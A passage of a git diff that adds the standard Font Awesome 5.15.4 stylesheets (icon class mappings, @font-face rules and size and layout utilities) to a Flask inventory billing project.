"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse:before{content:"\f8cc"}.fa-mouse-pointer:before{content:"\f245"}.fa-mug-hot:before{content:"\f7b6"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-octopus-deploy:before{content:"\e082"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-orcid:before{content:"\f8d2"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-pager:before{content:"\f815"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-arrows:before{content:"\e068"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-perbyte:before{content:"\e083"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-square:before{content:"\e01e"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-plane-slash:before{content:"\e069"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pump-medical:before{content:"\e06a"}.fa-pump-soap:before{content:"\e06b"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-rust:before{content:"\e07a"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-shield-virus:before{content:"\e06c"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopify:before{content:"\e057"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sink:before{content:"\e06d"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-soap:before{content:"\e06e"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-stopwatch-20:before{content:"\e06f"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-store-alt-slash:before{content:"\e070"}.fa-store-slash:before{content:"\e071"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-tiktok:before{content:"\e07b"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toilet-paper-slash:before{content:"\e072"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-trailer:before{content:"\e041"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-uncharted:before{content:"\e084"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-unity:before{content:"\e049"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-unsplash:before{content:"\e07c"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-users-slash:before{content:"\e073"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-vest:before{content:"\e085"}.fa-vest-patches:before{content:"\e086"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-virus:before{content:"\e074"}.fa-virus-slash:before{content:"\e075"}.fa-viruses:before{content:"\e076"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-watchman-monitoring:before{content:"\e087"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wodu:before{content:"\e088"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.fab,.far{font-weight:400}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:"Font Awesome 5 Free"}.fa,.fas{font-weight:900} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.css new file mode 100644 index 00000000..92463173 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.css @@ -0,0 +1,15 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face { + font-family: 'Font Awesome 5 Brands'; + font-style: normal; + font-weight: 400; + font-display: block; + src: url("../webfonts/fa-brands-400.eot"); + src: url("../webfonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.woff") format("woff"), url("../webfonts/fa-brands-400.ttf") format("truetype"), url("../webfonts/fa-brands-400.svg#fontawesome") format("svg"); } + +.fab { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; } diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.min.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.min.css new file mode 100644 index 00000000..bdd4a243 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/brands.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands";font-weight:400} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.css b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.css new file mode 100644 index 00000000..74de602a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/css/fontawesome.css @@ -0,0 +1,4582 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa, +.fas, +.far, +.fal, +.fad, +.fab { + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; + display: inline-block; + font-style: normal; + font-variant: normal; + text-rendering: auto; + line-height: 1; } + +.fa-lg { + font-size: 1.33333em; + line-height: 0.75em; + vertical-align: -.0667em; } + +.fa-xs { + font-size: .75em; } + +.fa-sm { + font-size: .875em; } + +.fa-1x { + font-size: 1em; } + +.fa-2x { + font-size: 2em; } + +.fa-3x { + font-size: 3em; } + +.fa-4x { + font-size: 4em; } + +.fa-5x { + font-size: 5em; } + +.fa-6x { + font-size: 6em; } + +.fa-7x { + font-size: 7em; } + +.fa-8x { + font-size: 8em; } + +.fa-9x { + font-size: 9em; } + +.fa-10x { + font-size: 10em; } + +.fa-fw { + text-align: center; + width: 1.25em; } + +.fa-ul { + list-style-type: none; + margin-left: 2.5em; + padding-left: 0; } + .fa-ul > li { + position: relative; } + +.fa-li { + left: -2em; + position: absolute; + text-align: center; + width: 2em; + line-height: inherit; } + +.fa-border { + border: solid 0.08em #eee; + border-radius: .1em; + padding: .2em .25em .15em; } + +.fa-pull-left { + float: left; } + +.fa-pull-right { + float: right; } + +.fa.fa-pull-left, +.fas.fa-pull-left, 